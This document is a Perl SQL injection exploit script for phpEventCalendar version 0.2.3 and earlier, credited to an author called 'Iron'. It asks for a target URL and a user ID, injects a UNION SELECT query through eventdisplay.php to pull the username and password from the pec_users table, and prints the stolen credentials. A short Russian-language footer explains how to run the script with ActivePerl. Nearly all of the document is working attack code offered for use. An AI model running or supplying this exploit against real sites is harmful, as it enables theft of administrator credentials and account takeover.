print "#
# phpEventCalendar <= v0.2.3 SQL Injection Exploit
# By Iron - ironwarez.info
# Thanks to Silentz for the help
# Greets to everyone at RootShell Security Group & dHack
#
# Example target url: http://www.target.com/phpeventcalendar/
Target url?";
chomp($target=<stdin>);
if($target !~ /^http:\/\//)
{
$target = "http://".$target;
}
if($target !~ /\/$/)
{
$target .= "/";
}
print "User id to retrieve name/password from? (1 = admin)";
chomp($target_id=<stdin>);
$target .= "eventdisplay.php?id=-999%20UNION%20SELECT%20username,password,password%20FROM%20pec_users%20WHERE%20uid=".$target_id;

$ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;

$response = $ua->get($target);

if ($response->is_success)
{
if($response->content =~ /<span class="display_header">(.*)<\/span>/i)
{
($username,$password) = split(/,/,$1);
print "Username: ".$username;
print "\nPassword: ".$password;
}
else
{
print "\nUnable to retrieve username/password.";
}
}
else
{
die "Error: ".$response->status_line;
}

=================================================================================================
для тех кто не знаєт как юзать експлойт(хотя не думаю что єсть такие...)
качаєте active perl ЗдеСЬ
потом копируете код в текстовой файл и сохраняете с розширением .pl!